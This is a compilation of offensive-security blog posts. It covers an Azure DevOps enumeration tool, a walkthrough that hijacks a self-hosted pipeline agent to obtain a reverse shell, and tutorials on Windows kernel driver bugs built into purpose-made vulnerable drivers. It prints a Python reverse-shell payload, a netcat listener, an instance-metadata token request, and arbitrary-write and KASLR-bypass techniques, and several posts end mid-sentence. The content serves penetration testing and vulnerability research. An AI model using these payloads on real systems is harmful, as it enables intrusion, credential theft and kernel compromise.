AzDevRecon: Turning Tokens into DevOps Portal

WKL is releasing a new tool focusing on Azure DevOps enumeration with an emphasis on cases where you as an attacker don’t have a username and password to log into the Azure Portal. This tool will retrieve the DevOps data using its API calls. Azure provides two different types of Authorization values: Bearer token and Basic Auth. So, let’s begin this blog post by first understanding the Azure DevOps Structure. Az DevOps lies under Entra ID, which used to be called Active Directory. Any user in Entra ID can create DevOps Organization for themselves — even admin/Global Admin cannot stop them from accessing it. So, let’s first learn the structure of Azure DevOps: The top layer is the Organization. Any user can have multiple organizations in the Entra ID tenant, under which multiple projects can be created. Below this is the main section where all the repositories are stored. For enterprise companies that use Azure for their Infra setup, most of them heavily use Azure DevOps for CICD Pipelines to help them manage their continuous deployment smoothly. However, every new feature comes with risk and the possibility of misconfigurations. We won’t we covering the list of possible misconfigurations in Azure DevOps in this blog post. In DevOps, you might think that only a user can access this, right? But it’s not limited to actual users but is also accessible to service principals including managed identities. This means a VM created in Azure can also access Azure DevOps based on permissions granted to it! So how can an identity access it? If managed identity is enabled on any compute system like a VM, Logic App, Automation Account, App Service, Function App, etc., their identity gets created within the Entra ID just like the identity exists for a user. This means this identity now can have any kind of role, like Entra ID Roles, access to a subscription, or Azure DevOps. Let’s quickly check if you have service principal creds that is the Client ID, Client Secret, and Tenant ID. You can run a Azure CLI Command or a PowerShell command to request the token. az account get-access-token But will this token work? Unfortunately not. Azure requires different tokens for its different resources. These resources can represent different types, such as graph resources for user data or ARM resources for Azure management. Below are examples with their corresponding endpoints or resource IDs to request access tokens. These URLs are used as endpoints for API calls, specifying the target service for data access or management: These application IDs (resource IDs) are used in OAuth token requests to specify the particular Azure or Microsoft service being accessed: So, we can provide either the URLs or the IDs depending on which resource API we want to access. Since we are focusing on Azure DevOps, let’s use 499b84ac-1321-427f-aa17-267ca6975798 and grab the token for this. Considering this is clearly a JWT, let’s analyze the token check in jwt.io: While checking the aud value, we can confirm which resource token are we currently using. This is where the AzDevRecon comes in, with a UI based tool that allows you to perform the enumeration more efficiently than via CLI. https://azdevrecon.cloud The application is hosted live, so there is no need to install tooling & troubleshoot dependencies — simply register yourself and get logged in with your account. Once logged in, you can start adding the ORG name and the Access Token or the PAT value. For me, I have already added an organization. Just click on the View button to look through the list of projects you have access to. On the left side, we have a list of projects the identity has access to, and the right lists the members available in the organization. Click any Project (for example, we’ll click “wkl-prod“) to see the dashboard. This is our main dashboard where you will be able to see the list of repos, work items, pipelines and the permissions list. So, by clicking on Browse files, a list of repos will display. Navigate again to Browse Files. You can even navigate to each folder and try to edit the files as well. Just click on the eye icon. Then click the Edit button and a new popup will display like in the screenshot below. Now we can make changes, but note if your PAT or Access Token doesn’t have the permission, you will trigger a permission alert. So, for now, we’ll update the first line from # Introduction to # The Demo. Once you click on Save, you should see an alert box like in the image below, or permission error if you don’t have the permission to edit. You can even download the whole repo using the Download Repository button. The images below show other routes to view the data. Pipelines List and its YAML File Pipeline Variables Project Permissions Work Items The tool is certainly not limited to what’s shown here. Since it’s an early release, you can expect a lot more features, which can make your enumeration job easier—like a list of all repos all in one place, better permissions mapping visual, a list of all the Project setting, the ability to perform malicious activity, which can allow you to have a backdoor/persistence in it, etc. I have created a discord channel for those who would like to contribute to this project or want to give any feedback or recommendations. We can work together to make this tool more powerful. Posted by: Raunak Parmar Senior Cloud Security Engineer

CI/CD Attack Path: Reverse Shell via Azure DevOps and GitHub Integration on a Self-Hosted Agent

Attackers can exploit improperly secured Azure DevOps pipelines to execute malicious code on self-hosted on-premises agents creating a direct path from cloud environments to internal infrastructure. In this post, we’ll walk through a real-world inspired scenario that demonstrates exactly how such an attack can unfold. By compromising a machine in the environment through methods like local enumeration or credential dumping, we assume the attacker is able to extract valid credentials for an Azure DevOps user. With those credentials, the attacker gains access to the DevOps portal, creates a custom pipeline that points to a malicious GitHub repository, and ultimately achieves a reverse shell on the underlying infrastructure. This is a scenario where the Identity doesn’t have permission on DevOps Repo and Agent Pools are misconfigured to accept all the pipelines to let them connect with them. This attack path highlights how lazy access controls, combined with overly permissive pipeline configurations, can result in full compromise of internal systems and sensitive cloud-connected workloads. We start from an assumed breach where we recovered (found, stole, leaked, social engineered…) credentials, but we only know the Tenant ID for the impacted user, not the domain. This is usually obtained when clicking on Sign-in with Microsoft. For this scenario, let’s assume the user is synced with Entra ID. This happens when the environment leverages Entra ID Connect (Azure AD Connect), which allows users to login on-prem and login with the same password. This is a commonplace practice these days due to hybrid infrastructure requirements. With just having the Tenant ID, we can find the Domain name using the link below, thanks to Dr. Nestori Syynimaa. https://aadinternals.com/osint/ Provide the Tenant ID and click on Get Information. It will give the tenant’s name, which can be used to login via Azure portal. Now log into the DevOps portal using the credentials and if the user has access to any of the projects or even has any permissions, this will list organizations and its respective projects based on the permissions. Login: https://dev.azure.com/ In the “Project Settings”, click on Agent pools. Take note of the agent’s name. The name “Azure Pipelines” is the Agent’s pool that is owned and managed by Microsoft. The term “Default” is just a pool name that can have self-hosted agents. We can create new pools like one highlighted. Let’s enumerate the pipeline to check if there are any possible ways to exploit it. As in the screenshot below, we do have one pipeline. Click on the pipeline and click on Edit. Click on Edit to check the pipeline configurations. Since the pipeline is attached with the Azure DevOps Repo and the current logged in user doesn’t have Repo Permissions, this pipeline does not let us see the configuration, nor can we edit the YAML file. But luckily, this organization has the Classic Editor option enabled, which we can use. This Classic Editor allows us to create pipelines without writing and YAML files, we just need to use the built-in task. Once we click on Classic Editor, we see an option for selecting the source. Since we don’t have access on Azure DevOps, we can utilize an external source like GitHub and run the pipeline by connecting the self-hosted agent. Create a new GitHub and add the following files to your GitHub repo, which will be used by the pipeline. Update the name of the pool with the agent’s name below and save it as azure-pipeline.yml. trigger:- main pool:  name: <AGENTNAME>  # Specifies the self-hosted agent pool steps:- script: |    sudo apt-get update -y    sudo apt-get install git -y  # Install Git if not already available  displayName: ‘Install Git’ – script: |    # Install Python 3.11 if not installed    sudo apt install python3  displayName: ‘Install Python 3.11 if not present’  – script: |    python3 <FILENAME>.py  # Run python File  displayName: ‘Run <FILENAME>.py’ AGENTNAME will be the one we found from the project’s settings agent pool list. And, FILENAME.py will be our malicious file that will run our reverse shell command. Create a file with any name, like test.py, containing the payload below for our reverse shell. This will run when the pipeline is started. import socket subprocess, os, ptys=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((“<IPADDRESS>”,<PORT>))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)pty.spawn(“sh”) Our Malicious Repo is ready. Now create a personal access token (PAT) for your GitHub account, which will be used to create a connection for the pipeline source. Click on your GitHub account icon and click on settings. Now scroll down and click on Developer Settings. Click on Personal access tokens and select Tokens (classic). Then click on Generate new token (Classic). Add a note in the note section and select all necessary permissions, then generate a token. Copy the token and save it in a safe location. Now we have all the pre-requisites for running a pipeline; let’s get back to pipelines in Azure DevOps and click on edit. Then click on Use the classic editor. Select Get sources and GitHub. Now copy and paste the GitHub PAT by clicking on Authorize with a GitHub personal access token. This creates a new service connection between Azure DevOps pipeline and the GitHub repository. Paste the PAT that we created for the GitHub. Now let’s have the listener ready for reverse shell using net cat or any listener of your choice (in this example, we use net cat). Once we authorize and save it, we will be running the pipeline, which gives us a connection back to the listener. Command: nc -nvlp <port> Output: Now select the GitHub Repository where we have uploaded the files and click on Save. Now go back to the pipelines and click Run pipeline to start the pipeline. Once the pipeline starts running, we should receive a connection in the listener in a minute if everything is configured correctly. And here we have our reverse shell. To check if this system has managed identity or not, we can execute the cURL request below to get the ARM access token. curl -H Metadata:true –noproxy “*” “http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/” Output In an actual penetration test, there are multiple scenarios

Understanding Type Confusion in Kernel Driver

In this blog post, we will explore type confusion vulnerabilities in Windows kernel drivers. Type confusion occurs when a program mistakenly treats a piece of memory as a different object type than it actually is, leading to unexpected behavior or security flaws. To better understand this concept, we will build a custom vulnerable kernel driver that demonstrates how type confusion can arise in real-world scenarios. What Is Type Confusion? Type confusion happens when a program incorrectly assumes the type of an object in memory, leading to invalid interpretation, unsafe operations, or security vulnerabilities. In kernel drivers, this can allow attackers to manipulate data structures or execute arbitrary code. To use an analogy, type confusion is like mistaking a box of fragile glassware for a box of metal tools and stacking heavy items on it, causing breakage. Data Type Confusion Data type confusion is a vulnerability where a variable of one data type is mistakenly used as another incompatible type, causing unsafe behavior. It often leads to arbitrary memory access or logic flaws. We created a custom Windows kernel driver to demonstrate integer-to-pointer data type confusion, where a user-supplied integer is wrongly treated as a pointer. The vulnerability occurs because a user-controlled 32-bit integer (SourceAddress) is incorrectly treated as a pointer and directly dereferenced (ULONG val = *(ULONG*)srcAddr;), allowing arbitrary kernel memory reads or triggering a system crash. In simple words, it’s like a mailman mistaking a phone number for a home address and trying to deliver a package there, causing confusion or failure. Proof-of-Concept (PoC) for Type Confusion Vulnerability in IPv4 Driver This is simply a PoC to demonstrate the vulnerability, exploitation is not covered in this article. In future posts, we will show full exploitation techniques and development. This PoC opens a handle to the custom driver and sends a crafted IPV4_HEADER structure via DeviceIoControl. The key user input is the SourceAddress field. Instead of providing a legitimate IPv4 address (an integer), the user directly inputs an arbitrary kernel memory address (interpreted as a pointer by the driver). The crash occurred when the driver tried to dereference a user-controlled pointer—rbx = 0x41414141 (user input). This caused an invalid memory access at mov r8d, dword ptr [rbx], leading to a kernel crash (blue screen of death). Bonus Tip When hunting for data type confusion in kernel drivers, look for code paths where user-supplied integers (like ULONG, DWORD, UINT32, SIZE_T, NTSTATUS, BOOLEAN, USHORT) are later reinterpreted as pointers or larger structures. Common risky casts include: (PVOID), (ULONG_PTR), (void*), and pointer dereferences (*ptr, memcpy, RtlCopyMemory). Scalar-to-Pointer Type Confusion in Windows Kernel This vulnerability is a scalar-to-pointer type confusion caused by improper handling of a union in a Windows kernel driver. The kernel structure allows a user-controlled scalar value (ObjectType) to be reinterpreted as a function pointer (Callback) due to a shared memory location (union). This custom Windows kernel driver demonstrates a union-based type confusion vulnerability where a user-controlled integer is mistakenly used as a kernel function pointer. In the given structure, the USER_PACKET_OBJECT structure represents a user-space packet with fields for an ObjectID, PacketType, and a variable-length payload. The KERNEL_PACKET_OBJECT structure is a kernel-space packet that contains a union with two members: PacketType (an integer) and Callback (a function pointer). A union allows these two members to share the same memory space, meaning both PacketType and Callback will use the same address, but only one can be accessed at a time. Here, the value of userPacket->PacketType, which is controlled by the user, is directly copied into the PacketType field of the KERNEL_PACKET_OBJECT structure. This is problematic because PacketType is part of a union that also contains a function pointer (Callback). Since both fields share the same memory space, an attacker can manipulate the PacketType field to store a value that will later be interpreted as a function pointer. This results in a type confusion vulnerability where an integer value is misinterpreted as a function pointer.  For example, it’s like handing someone a letter with an envelope that can either hold a note or a secret code; the person can choose to treat it as a note, but if they mistakenly interpret it as a code, they could unlock and trigger unintended actions. Root Cause Analysis: Type Confusion in mskssrv.sys In the vulnerable function FSRendezvousServer::PublishRx, the Windows driver mskssrv.sys handles objects related to media streaming. Internally, it manages two types of objects: Both of these objects are stored inside the FileObject->FsContext2 field, which is meant to point to an object that the driver will later operate on. Where Is the Bug? The vulnerability happens because the function FsRendezvousServer::FindObject() is used to locate an object—but it does not verify the type of the object it finds. The key problem lies in how the driver assumes the type of object it is dealing with. The code expects that the object retrieved from FindObject() is always of type FSStreamReg. However, in reality, the object could also be of type FSContextReg, which is a smaller and fundamentally different structure. Without performing any type verification, the driver blindly treats the object as an FSStreamReg and proceeds to call functions such as PublishRx() and GetStats() on it. These functions are designed to operate only on FSStreamReg objects and expect specific fields and memory layouts that do not exist in FSContextReg as show below. Real-World Analogy Imagine a person working in a warehouse is told to pick up a specific type of package in a large box. They’re given a label and assume every package is the same size. However, sometimes the label is attached to a small, fragile package that can’t take the same handling as the usual large box. If the person picks up the small package the same way they would the large box, they could crush or damage it. This is similar to the vulnerability—the driver assumes every object is the larger, more complex type (FSStreamReg), but sometimes it’s a smaller, simpler object (FSContextReg), leading to system failure. Conclusion — Hunting and Type Confusion Bugs

Understanding Out-Of-Bounds in Windows Kernel Driver

In this blog post, we will explore different types of out-of-bounds (OOB) vulnerabilities in Windows kernel drivers. Our objective is to demonstrate how simple mistakes in memory management, structure handling, and loops can introduce serious OOB vulnerabilities in custom kernel drivers. We will write realistic, purpose-built kernel drivers containing intentional vulnerabilities to showcase OOB reads, OOB writes, and loop-based overflow. What is Out-of-Bounds? Out-of-bounds (OOB) occurs when a program accesses memory outside the boundaries of a valid buffer or data structure. This can lead to information leaks, memory corruption, or privilege escalation in kernel-mode drivers. OOB bugs typically arise from incorrect index calculations, pointer mismanagement, or faulty loop conditions. Out-of-Bounds Read Custom Network Driver An out-of-bounds read (OOBR) happens when a program reads past the end of a buffer due to invalid size assumptions. In kernel mode, it can leak uninitialized memory or sensitive kernel pointers, bypassing mitigations like KASLR. Common causes include mismatched struct sizes, missing length checks, and bad loop bounds. These flaws can sometimes escalate into arbitrary read/write vulnerabilities. We made a custom driver that takes a user-supplied structure containing SourcePort and DestPort, where DestPort is (mis)used as an offset into memory. The DestPort field in the structure is user-controlled and treated as a raw offset. In the vulnerable code line, DestPort is directly added to the base pointer hdr without any validation or bounds checking. If an attacker supplies a large DestPort value, leakPtr will point outside the intended buffer. This results in an out-of-bounds memory access, which can leak sensitive kernel memory or cause a crash. The flaw stems from trusting unvalidated user input as a pointer offset. PoC: Out-of-Bounds Kernel Memory Leak via DestPort Offset This PoC opens a handle to the vulnerable device and crafts a fake TCP header structure. It repeatedly sets various large values to DestPort, which is used as an offset for an out-of-bounds read in the driver. By sending these crafted packets with DeviceIoControl, the PoC attempts to leak kernel memory. The loop iterates through multiple DestPort values (offsets) from 0x80 to 0x1000 in steps of 0x80. This increases coverage to trigger out-of-bounds reads at various memory locations. PoC Output: Memory Leak Results in dbgview This output shows leaked 8-byte (QWORD) values from different memory offsets specified via DestPort. Some offsets reveal kernel pointers (e.g., 0xFFFF860D748E70A0), indicating successful out-of-bounds reads, while others return zero or unrelated data. This confirms arbitrary memory disclosure. This !pool output shows the leaked address belongs to a non-paged pool allocation tagged AlIn, which is used for ALPC (Advanced Local Procedure Call) internal structures in the Windows kernel. The memory region is actively allocated and contains sensitive kernel data, confirming the seriousness of the out-of-bounds leak. Out-of-Bounds Write Custom Driver Out-of-bounds (OOB) write occurs when a program writes data past the end (or before the start) of a valid memory buffer. It corrupts adjacent memory regions, leading to crashes, data corruption, or potential code execution. This driver demonstrates a simple out-of-bounds (OOB) write vulnerability in kernel mode. The driver defines a fixed-size array targetBuffer[10] (10 bytes). It blindly copies length bytes from a user-supplied buffer without checking if length > 10. If the user sends more than 10 bytes, RtlCopyMemory writes past the end of the array. This causes an out-of-bounds write, corrupting adjacent kernel memory and leading to crashes or exploitation PoC — Triggering Out-of-Bounds Write via IOCTL The PoC opens a handle to the vulnerable driver using CreateFileW targeting the OobArrayDevice. It constructs a malicious input buffer of 100 bytes, filling it entirely with the byte 0x41 (ASCII ‘A’). This results in an out-of-bounds write of 90 extra bytes, overwriting adjacent kernel stack memory with 0x41 patterns — leading to memory corruption (and likely will result in a crash). WinDbg Analysis—Confirming Out-of-Bounds Write in Kernel Stack After triggering the vulnerability, the driver printed the kernel address of targetBuffer: targetBuffer @ FFFFFE0378E377F0. In WinDbg, the dq command (dq FFFFFE0378E377F0) dumps 64-bit quadwords starting from the buffer address. We clearly observe repeated 0x41414141 patterns (ASCII ‘A’) overflowing well beyond the 10-byte array—confirming an out-of-bounds write onto adjacent kernel stack memory. This explains why a blue screen of death (BSOD) or kernel memory corruption occurs; we’ve clobbered critical stack data following the array. Mimicking a Vulnerability Inspired by RTKVHD64.sys In this post, we demonstrate a simplified but realistic mimic of a vulnerability pattern observed in Realtek’s RTKVHD64.sys audio driver. While the original vulnerability details and reverse engineering insights will be covered in later posts, here we focus on replicating a kernel out-of-bounds arbitrary write bug within a custom Windows driver. Our vulnerable driver (VulnAudioDriver.sys) exposes a controlled IOCTL interface, closely resembling patterns seen in RTKVHD64.sys handling of kernel structures and user-controlled indices. The MEVT structure contains an array of 63 EVT objects. Without a bounds check, an attacker can specify input_index >= 63, leading to memory accesses beyond the array, corrupting adjacent kernel memory. Such unchecked indexed access patterns, especially when manipulating kernel object fields, can lead to privilege escalation, kernel memory corruption, or even arbitrary kernel writes. This code directly casts the user-supplied input_index into an array access (gMevt->array[input_index]) without validating bounds, enabling out-of-bounds memory access. The attacker controls both the spinlock pointer (KSPIN_LOCK* spinlock) and the event pointer (PVOID* event_ptr), allowing manipulation of arbitrary kernel addresses. When KeAcquireSpinLock(spinlock, &oldIrql) is called on a user-controlled pointer, it can trigger memory corruption or cause a controlled kernel crash. [Note: The following line is added purely for blog demonstration purposes and is not part of the original vulnerable code.]*event_ptr = userInput->value_to_write; demonstrates how an attacker-controlled value can be written to an arbitrary kernel memory location, showcasing a powerful arbitrary write primitive for exploitation or crashing. Proof-of-Concept (PoC) Trigger for VulnAudioDriver Arbitrary Write This simple user-mode PoC crafts a malicious USER_INPUT structure with an out-of-bounds index (input_index = 10000) and sends it to the vulnerable driver via DeviceIoControl. The attacker controls both the memory location and the value to be written. Setting input_index = 10000 deliberately exceeds

Understanding Null Pointer Dereference in Windows Kernel Drivers

In this blog post, we’ll explore one of the classic yet dangerous bugs—null pointer dereference. We’ll break down what it really means, build a custom vulnerable driver, and see firsthand how it can bring down an entire Windows system with a blue screen of death (BSOD). Introduction A null pointer dereference happens when a driver tries to access memory through a pointer that hasn’t been properly initialized—usually pointing to address 0x0. In user mode, this might just crash an app, but in kernel mode, it’s a lot more serious. Since the kernel operates with full system privileges with limited error handling, dereferencing a null pointer can trigger a blue screen of death (BSOD) and bring down the entire system. These bugs often slip through when developers assume a pointer is valid without checking, making them both common and dangerous. Simple NULL Pointer Dereference Vulnerability (Video Buffer Simulation) We’re looking at a small, simple but deadly custom driver that pretends to be a graphics/video driver. It randomly fails to allocate a “video buffer” and then blindly writes a 0xDEADBEEF magic value, even if the buffer is NULL! We intentionally crash the system (BSOD) for fun, and if you open a debugger, you’ll spot the famous DEADBEEF pattern in memory. The vulnerability arises because the driver attempts to write 0xDEADBEEF to a video buffer without verifying if the memory allocation succeeded. If the buffer allocation fails and returns NULL, this write will cause a NULL pointer dereference, leading to an instant system crash (BSOD). Simple BSOD with Null Pointer Dereference in a Custom Driver In my custom driver, I’ve implemented a vulnerable IOCTL handler that simulates a simple video buffer allocation. One of the vulnerabilities involves a NULL pointer dereference triggered when the allocation randomly fails and the driver blindly writes to the NULL pointer. This isn’t a full exploitation write-up—just a demonstration of how careless memory handling in drivers can crash the system. We’ll explore advanced exploitation paths in future posts. The Windows Debugger shows a crash in the DispatchIoctl function of my custom driver, specifically at the instruction mov dword ptr [rdi], 0xDEADBEEF, where RDI is NULL. This confirms a classic NULL pointer dereference, as the kernel attempts to write to address 0x0, causing a SYSTEM_THREAD_EXCEPTION_NOT_HANDLED BSOD. This happens because the video buffer allocation failed and the pointer remained NULL, but the driver blindly wrote to it, leading to the crash. Null Pointer Dereference in a Custom TCP-like Windows Kernel Driver This is a null pointer dereference vulnerability embedded in a custom Windows kernel driver that mimics processing of TCP-like network packets. We created our own structure, TCP_HEADER, which includes a field named PayloadPointer—intended to represent a pointer to the packet’s actual data. The vulnerability arises because the driver assumes that this pointer is always valid, without performing any null or sanity checks. If a malicious user-mode application crafts a TCP_HEADER with PayloadPointer set to NULL and passes it to the driver, the kernel will blindly attempt to access *(NULL). Simple BSOD with Null Pointer Dereference in a Custom Driver In my custom driver, I’ve implemented a vulnerable IOCTL handler that simulates TCP packet parsing. One of the vulnerabilities involves a null pointer dereference triggered by sending a TCP-like structure with a PayloadPointer set to NULL. This isn’t a full exploitation write-up, just a demonstration of how a malformed user-supplied packet can crash the kernel. We’ll explore advanced exploitation paths in future posts. The Windows Debugger shows a crash in the DeviceIoControlHandler function, specifically at the instruction movzx edx, byte ptr [rax], where rax is NULL. This confirms a classic null pointer dereference, as the kernel tries to read from address 0x0, leading to a SYSTEM_THREAD_EXCEPTION_NOT_HANDLED BSOD. In kernel mode, dereferencing a null pointer doesn’t just crash the app—it crashes the whole system, triggering a blue screen of death (BSOD) with the familiar SYSTEM_THREAD_EXCEPTION_NOT_HANDLED bug check. Null Pointer Dereference in Custom EDR Driver: File Path Vulnerability This is a null pointer dereference vulnerability in a custom-built Windows kernel driver that simulates how an EDR (Endpoint Detection and Response) component might scan executable files provided by user-mode. The vulnerability arises when the driver blindly trusts a user-supplied pointer to a file path without checking if it’s valid. The driver receives a FILE_SCAN_REQUEST structure from user mode. This structure includes a pointer (Filename) and a length (FilenameLength). The idea is to copy the filename string into a local kernel buffer (scanBuffer) so the driver can inspect or scan the file for threats. This line tries to copy a filename string from a user-supplied structure into a local buffer for scanning or logging. The problem? The driver never checks whether request->Filename is a valid, non-NULL pointer. If user mode sends a NULL here, the driver blindly dereferences 0x0. Simple BSOD with Null Pointer Dereference in a Custom EDR Driver I wrote a user-mode tool that prompts for a file path and sends it to the kernel via DeviceIoControl. If I provide a legit path, the driver attempts to scan the file normally. But if I just hit Enter without typing anything, it sends a NULL pointer. The CPU raises a page fault, and Windows responds with a BSOD. This is a classic null pointer dereference, often caused by developers assuming the user-supplied pointer is always valid. In older Windows versions (XP, Vista, 7), null pointer dereference vulnerabilities in kernel drivers could be exploited by mapping the NULL page (0x0) from user mode and placing attacker-controlled data there. If the kernel dereferenced a null pointer, this would lead to arbitrary code execution in ring 0, enabling full system compromise. Starting with Windows 8, Microsoft mitigated this entire class of bugs by blocking NULL page allocation and disabling NTVDM by default. NTVDM (used for running 16-bit apps on x86 systems) previously allowed NULL page mapping, which attackers abused to revive this old technique on Windows 10 x86. Today, these mitigations effectively neutralize most null dereference exploits in modern Windows systems. Conclusion In this post,

Understanding Arbitrary Access Primitives in Windows Kernel

In this blog post, we will explore some of the most powerful and commonly abused vulnerabilities in kernel-mode: arbitrary access primitives. From reading kernel memory and hijacking execution flows, to directly interacting with physical memory or model-specific registers (MSRs), each of these primitives opens doors to high-impact, post-exploitation techniques. Whether you’re writing an exploit, doing rootkit research, or reverse-engineering drivers, understanding these vulnerabilities is essential. There are five key types of arbitrary access vulnerabilities we’ll explore in this series:arbitrary read, arbitrary write, physical read, physical write, and MSR read—each offering unique capabilities for kernel exploitation and post-exploitation. Arbitrary Read Arbitrary read allows an attacker to read memory from any address in kernel space. By supplying a user-controlled pointer, the kernel will read from that location and return the data. This can be used to leak kernel base addresses, tokens, or function pointers. It’s typically the first step toward bypassing KASLR or escalating privileges. To demonstrate this vulnerability, we created a custom vulnerable driver exposing an IOCTL_ARBITRARY_READ operation: This is vulnerable because it blindly reads from a user-supplied kernel address (rw->Address) without validating it first. If the pointer is invalid or points to sensitive memory, it may leak kernel information or crash the system. Exploiting Arbitrary Read Vulnerability Using WinDbg’s eq command, we identify the base address of ntoskrnl.exe as fffff80425ea5000. By passing this address to our arbitrary read PoC, we successfully leak the MZ header (0x905a4d), confirming a valid kernel memory read. This demonstrates the ability to leak kernel pointers—a crucial step for bypassing KASLR. This leak proves that our vulnerability allows reading any memory in the kernel address space—a powerful primitive for further exploitation. Bonus Tip Arbitrary read vulnerabilities often involve functions like RtlCopyMemory, memcpy, or memmove, where a driver copies data from a user-supplied kernel address without validation. Safer APIs like MmCopyMemory exist but are rarely misused. The root cause is usually the absence of checks like ProbeForRead or MmIsAddressValid, allowing attackers to read sensitive kernel memory. These bugs typically surface in DeviceIoControl handlers that directly trust user input like rw->Address. Arbitrary Write Arbitrary write lets a userland attacker overwrite any memory address in kernel space. It is often used to hijack execution, such as overwriting function pointers or token privileges. If the attacker knows what to write and where, they can gain full system access. Combined with read, it’s a devastating primitive for kernel exploitation. To demonstrate this vulnerability, we created a custom vulnerable driver exposing an IOCTL_ARBITRARY_WRITE operation: This IOCTL handler implements an arbitrary write vulnerability by directly writing a user-supplied value (rw->Value) to a user-specified kernel address (rw->Address) without validating the pointer. The lack of access checks allows attackers to overwrite sensitive kernel structures, potentially leading to privilege escalation or system instability. Exploiting the Arbitrary Write Vulnerability   To demonstrate the power of an arbitrary write vulnerability, we used WinDbg to locate the second entry in the HalDispatchTable. For the purpose of the demo, we are taking HalDispatchTable. You can take any desired address where you want to write it. Now, we will run our PoC to perform an arbitrary write. We’ll attempt to write the value 0x4141414 to the target kernel address fffff804262cd254. After executing the PoC, we can confirm that the value at this address has been successfully overwritten. MSR Read MSR (model-specific register) read vulnerabilities expose critical CPU-level settings. By using a vulnerable driver that allows arbitrary RDMSR calls, attackers can extract values like IA32_LSTAR (which stores the kernel’s syscall entry point). This breaks KASLR and can bypass syscall hooking mechanisms, making it a powerful primitive in both EDR evasion and advanced kernel exploitation. This driver uses __readmsr(msr->MsrId) to read from a Model-Specific Register (MSR) based on a user-supplied ID and returns the result to user mode via msr->Value. MSRs store critical CPU configuration data, including pointers to kernel functions. Without validating the MSR ID, this gives attackers access to privileged information. Registers like IA32_LSTAR or IA32_SYSENTER_EIP can reveal kernel base addresses, enabling KASLR bypass. Exploiting MSR Read Vulnerability In this this PoC, we demonstrate a classic exploitation technique by leaking the value of the IA32_LSTAR MSR (Model-Specific Register) located at 0xC0000082. This register holds the address of the kernel’s SYSCALL entry point, typically pointing to the nt!KiSystemCall64 function within ntoskrnl.exe. By reading its value from user mode via an MSR read vulnerability, we effectively bypass Kernel Address Space Layout Randomization (KASLR), a crucial Windows security mechanism. To confirm the leak in WinDbg, use !address 0xfffff804261f8180 and ensure the leaked address falls within the memory range of ntoskrnl.exe. Physical Read & Physical Write Physical memory access vulnerabilities let attackers bypass virtual memory protections to read or write raw RAM directly. With physical read, one can inspect memory-mapped devices, firmware, or hidden kernel structures—useful for uncovering secrets or debugging hardware-level code. Physical write is even more potent, allowing direct tampering with hardware registers or kernel memory, potentially disabling security features or planting persistent backdoors. While dangerous and often system-crashing if misused, in expert hands, these primitives are essential tools in advanced kernel exploitation, rootkit development, and hypervisor-level research. These handlers allow user-mode input to map arbitrary physical memory addresses using MmMapIoSpace() without validating the rw->Address field. In both read and write cases, the driver maps and accesses the physical memory directly using the user-provided address. This is vulnerable because attackers can specify sensitive or protected physical addresses and read secrets (e.g., kernel code, credentials) or write malicious values (e.g., patching kernel code, disabling protections). Vulnerable MSR IOCTL Handler in AMDPowerProfiler.sys Today we’re diving into a real-world example of a vulnerable kernel driver—AMDPowerProfiler.sys. This driver exposes unsafe access to Model-Specific Registers (MSRs) via an IOCTL handler. By accepting a user-controlled pointer without validation, it gives attackers powerful read/write primitives to sensitive CPU registers directly from user mode. a1 is a pointer passed from user mode, likely via DeviceIoControl, but it’s never validated (e.g., no ProbeForRead, ProbeForWrite, or try/except). If the first byte at a1 is non-zero (*(_BYTE *)a1), the driver calls __readmsr on the

Understanding Double Free in Windows Kernel Drivers

What is Double-Free? A double-free vulnerability occurs when a program frees the same memory block multiple times. This typically happens when ExFreePoolWithTag or ExFreePool is called twice on the same pointer, causing corruption in the Windows kernel memory allocator. If an attacker can predict or control the reallocation of this memory, they may be able to corrupt memory structures, overwrite critical pointers, or redirect execution flow to controlled memory regions. Double-free vulnerabilities often lead to heap corruption, kernel crashes (BSOD), or even arbitrary code execution, if exploited properly. 1. Classic Double-Free (Same Function Call Twice) Concept: The driver allocates memory using ExAllocatePoolWithTag and frees it twice using ExFreePoolWithTag. This causes corruption in the pool allocator, potentially leading to heap corruption or arbitrary execution. In this example, we implement a custom kernel driver that allocates a pool of memory, frees twice it, and then intentionally accesses it, triggering a BSOD. The vulnerability occurs because g_DoubleFreeMemory is freed twice using ExFreePoolWithTag, leading to a double-free bug. After the first free, the pointer still holds the now-invalid memory address, allowing a second ExFreePoolWithTag call on an already freed block. This can lead to memory corruption, potential use-after-free (UAF) scenarios, and arbitrary code execution if an attacker reallocates the freed memory. Simple BSOD with Double-Free in a Custom Driver The exploit will follow the same pattern as previously explained, as shown with the blue screen below. 2. Double free via Memory Descriptor List IoFreeMdl is used to release a Memory Descriptor List (MDL) in Windows kernel mode. Incorrect handling, such as double-freeing an MDL, can lead to system crashes or exploitation opportunities. This guide demonstrates creating a custom kernel driver that contains a double-free vulnerability and a user-mode PoC to trigger it. In this code, an MDL (g_Mdl) is allocated using IoAllocateMdl, and its successful allocation is logged. The first call to IoFreeMdl (g_Mdl) correctly frees the MDL. A KeDelayExecutionThread introduces a 1-second delay before attempting to free the already-freed MDL again, triggering a double-free vulnerability. Simple BSOD with Double-Free in a Custom Driver This user-mode PoC opens a handle to the vulnerable driver (DoubleFreeLink) and sends an IOCTL request (IOCTL_TRIGGER_DOUBLE_FREE) to trigger the double-free vulnerability in the kernel driver. If successful, the exploit could lead to a system crash or potential exploitation. BSOD Triggered: The system crashes with a BUGCHECK_CODE: 0x4E (PFN_LIST_CORRUPT) due to the double-free of an MDL in the kernel driver. Making Double-Free More Challenging We’ve explored basic use-after-free (UAF) and double-free vulnerabilities, which might seem easy to understand. However, in real-world scenarios, these bugs are much harder to detect and exploit. Unlike simple examples, real UAF and double-free issues are rare and often require luck to find. Now, let’s step up the challenge—I’ll introduce a slightly more complex case that mirrors real-world scenarios but remains understandable. 0. Setup: Struct-Based Resource Handling Before diving into allocation, let’s understand the structure. This struct mimics a common pattern in driver development wrapping raw buffers inside helper structures. These wrappers often abstract buffer ownership and lifecycle management, but when misused, they also obscure bugs like double-free and UAF. That’s exactly what happens here. 1. Allocation Phase This setup is clean and typical in real-world Windows drivers. But here’s the catch: no centralized memory tracking, no flags, and no safe-guard against double cleanup. A disaster waiting to happen if callbacks are reused. In this step, we allocate memory twice: 2. Double-Free via Wrapped FreeHandle Routine The double-free vulnerability is triggered when the buffer pDummy->Buffer is first manually freed. This simulates a typical cleanup scenario like 